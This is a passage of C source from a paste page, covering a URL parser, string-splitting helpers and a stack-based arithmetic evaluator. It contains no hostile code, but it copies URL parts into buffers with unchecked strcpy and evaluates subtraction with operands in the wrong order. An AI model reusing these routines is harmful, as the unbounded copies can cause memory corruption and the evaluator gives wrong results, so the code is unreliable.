  698. return;
  699. }
  700. int parseURL(char *url, struct urlparts **returnpart) {
  701. register i;
  702. int seplen;
  703. char * remainder;
  704. //char * regall = ":/;?#";
  705. char * regall = ":/;#";
  706. //char * regpath = ":;?#";
  707. char * regpath = ":;#";
  708. char * regx;
  709. if(!*url)
  710. {
  711. strcpy(parseError, "nothing to do!\n");
  712. return 0;
  713. }
  714. if((remainder = malloc(strlen(url) + 1)) == NULL)
  715. {
  716. printf("cannot allocate memory\n");
  717. exit(-1);
  718. }
  719. strcpy(remainder, url);
  720. if(firstpunc(remainder) == ':')
  721. {
  722. strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
  723. strleft(remainder, 1);
  724. }
  725. if (!strcmp(returnpart[scheme]->value, "mailto"))
  726. *(returnpart[host]->separator) = 0;
  727. for(i = 0; i < NUMPARTS; i++)
  728. {
  729. if(!*remainder)
  730. break;
  731. if(i == scheme || i == userid || i == password)
  732. continue;
  733. if(i == host && strchr(remainder, '@'))
  734. {
  735. if(!strncmp(remainder, "//", 2))
  736. strleft(remainder, 2);
  737. strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
  738. strleft(remainder, 1);
  739. if(strchr(remainder, '@'))
  740. {
  741. strcpy(returnpart[password]->value, strsplit(remainder, "@"));
  742. strleft(remainder, 1);
  743. }
  744. *(returnpart[host]->separator) = 0;
  745. }
  746. if(i == path && (! *(returnpart[scheme]->value)))
  747. {
  748. *(returnpart[path]->separator) = 0;
  749. strcpy(returnpart[scheme]->value, "http");
  750. }
  751. regx = (i == path) ? regpath : regall ;
  752. seplen = strlen(returnpart[i]->separator);
  753. if(strncmp(remainder, returnpart[i]->separator, seplen))
  754. continue;
  755. else
  756. strleft(remainder, seplen);
  757. strcpy(returnpart[i]->value, strsplit(remainder, regx));
  758. }
  759. if(*remainder)
  760. sprintf(parseError, "I don't understand '%s'", remainder);
  761. free(remainder);
  762. return 0;
  763. }
  764. char *str_replace(char *orig, char *rep, char *with) {
  765. char *result;
  766. char *ins;
  767. char *tmp;
  768. int len_rep;
  769. int len_with;
  770. int len_front;
  771. int count;
  772. if (!orig)
  773. return NULL;
  774. if (!rep || !(len_rep = strlen(rep)))
  775. return NULL;
  776. if (!(ins = strstr(orig, rep)))
  777. return NULL;
  778. if (!with)
  779. with = "";
  780. len_with = strlen(with);
  781. for (count = 0; tmp = strstr(ins, rep); ++count) {
  782. ins = tmp + len_rep;
  783. }
  784. tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
  785. if (!result)
  786. return NULL;
  787. while (count--) {
  788. ins = strstr(orig, rep);
  789. len_front = ins - orig;
  790. tmp = strncpy(tmp, orig, len_front) + len_front;
  791. tmp = strcpy(tmp, with) + len_with;
  792. orig += len_front + len_rep;
  793. }
  794. strcpy(tmp, orig);
  795. return result;
  796. }
  797. char * strsplit(char * s, char * tok) {
  798. #define OUTLEN (255)
  799. register i, j;
  800. static char out[OUTLEN + 1];
  801. for(i = 0; s[i] && i < OUTLEN; i++)
  802. {
  803. if(strchr(tok, s[i]))
  804. break;
  805. else
  806. out[i] = s[i];
  807. }
  808. out[i] = 0;
  809. if(i && s[i])
  810. {
  811. for(j = 0; s[i]; i++, j++) s[j] = s[i];
  812. s[j] = 0;
  813. }
  814. else if (!s[i])
  815. *s = 0;
  816. return out;
  817. }
  818. char firstpunc(char * s) {
  819. while(*s++)
  820. if(!isalnum(*s)) return *s;
  821. return 0;
  822. }
  823. int strleft(char * s, int n) {
  824. int l;
  825. l = strlen(s);
  826. if(l < n)
  827. return -1;
  828. else if (l == n)
  829. *s = 0;
  830. memmove(s, s + n, l - n + 1);
  831. return n;
  832. }
  833. //BEGIN COMPLICATED MATH STUFF
  834. int evalmath(char *input)
  835. {
  836. char *output = malloc((strlen(input)*2)+1);
  837. memset(output, 0, (strlen(input)*2)+1);
  838. struct stack
  839. {
  840. int data[40];
  841. int top;
  842. } X;
  843. char *i = input;
  844. char *p = output;
  845. char n1;
  846. X.top = -1;
  847. int debugstack = 0;
  848.  
  849. int prio(char op)
  850. {
  851. int pri = 0;
  852. if(op == '*' || op == '/' || op =='%')
  853. pri = 2;
  854. else
  855. {
  856. if(op == '+' || op == '-')
  857. pri = 1;
  858. }
  859. return pri;
  860. }
  861.  
  862. void push(int num)
  863. {
  864. if(X.top != 39)
  865. {
  866. if(debugstack) printf("push'd %d\n", num);
  867. ++X.top;
  868. X.data[X.top]=num;
  869. }
  870. }
  871.  
  872. int pop()
  873. {
  874. int popd=(int)-1;
  875. if(X.top != -1)
  876. {
  877. popd= X.data[X.top];
  878. --X.top;
  879. }
  880. if(debugstack) printf("pop'd %d\n", popd);
  881. return popd;
  882. }
  883.  
  884. while(*i)
  885. {
  886. while(*i == ' ' || *i == '\t')
  887. {
  888. i++;
  889. }
  890. if( isdigit(*i) || isalpha(*i) )
  891. {
  892. while( isdigit(*i) || isalpha(*i))
  893. {
  894. *p = *i;
  895. p++;
  896. i++;
  897. }
  898. *p = ' ';
  899. p++;
  900. }
  901. if( *i == '(' )
  902. {
  903. push(*i);
  904. i++;
  905. }
  906. if( *i == ')')
  907. {
  908. n1 = pop();
  909. while( n1 != '(' )
  910. {
  911. *p = n1;
  912. p++;
  913. *p = ' ';
  914. p++;
  915. n1 = pop();
  916. }
  917. i++;
  918. }
  919. if(*i == '+' || *i == '-' || *i == '*' || *i == '/' || *i == '%')
  920. {
  921. if(X.top == -1)
  922. {
  923. push(*i);
  924. }
  925. else
  926. {
  927. n1 = pop();
  928. while(prio(n1) >= prio(*i))
  929. {
  930. *p = n1;
  931. p++;
  932. *p = ' ';
  933. p++;
  934. n1 = pop();
  935. }
  936. push(n1);
  937. push(*i);
  938. }
  939. i++;
  940. }
  941. }
  942. while(X.top != -1)
  943. {
  944. n1 = pop();
  945. *p = n1;
  946. p++;
  947. *p = ' ';
  948. p++;
  949. }
  950. *p = '\0';
  951.  
  952. memset(&X, 0, sizeof(X));
  953.  
  954. X.top = -1;
  955.  
  956. //debugstack = 1;
  957.  
  958. char *outorig = output;
  959.  
  960. while(*output)
  961. {
  962. while(*output == ' ') output++;
  963. if(*output == '\0') return pop();
  964. if(!isdigit(*output))
  965. {
  966. int op2;
  967. int match = 0;
  968. if(debugstack) printf("op %c\n", *output);
  969. switch(*output) {
  970. case '+':
  971. push(pop() + pop());
  972. match = 1;
  973. break;
  974. case '*':
  975. push(pop() * pop());
  976. match = 1;
  977. break;
  978. case '-':
  979. push(pop() - pop());
  980. match = 1;
  981. break;
  982. case '/':
  983. op2 = pop();
  984. push(pop() / op2);
  985. match = 1;
  986. break;
  987. }
  988. if(match) output++; continue;
  989. }
  990. int n = *output - '0';
  991. output++;
  992. while(isdigit(*output))
  993. {
  994. n = 10 * n + *output - '0';
  995. output++;
  996. }
  997. push(n);
  998. if(*output == '\0') return pop();
  999. output++;
  1000. }
  1001.  
  1002. free(outorig);
  1003.  
  1004. return pop();
  1005. }
  1006. //END COMPLICATED MATH STUFF
  1007.  
Advertisement
Add Comment
Please, Sign In to add comment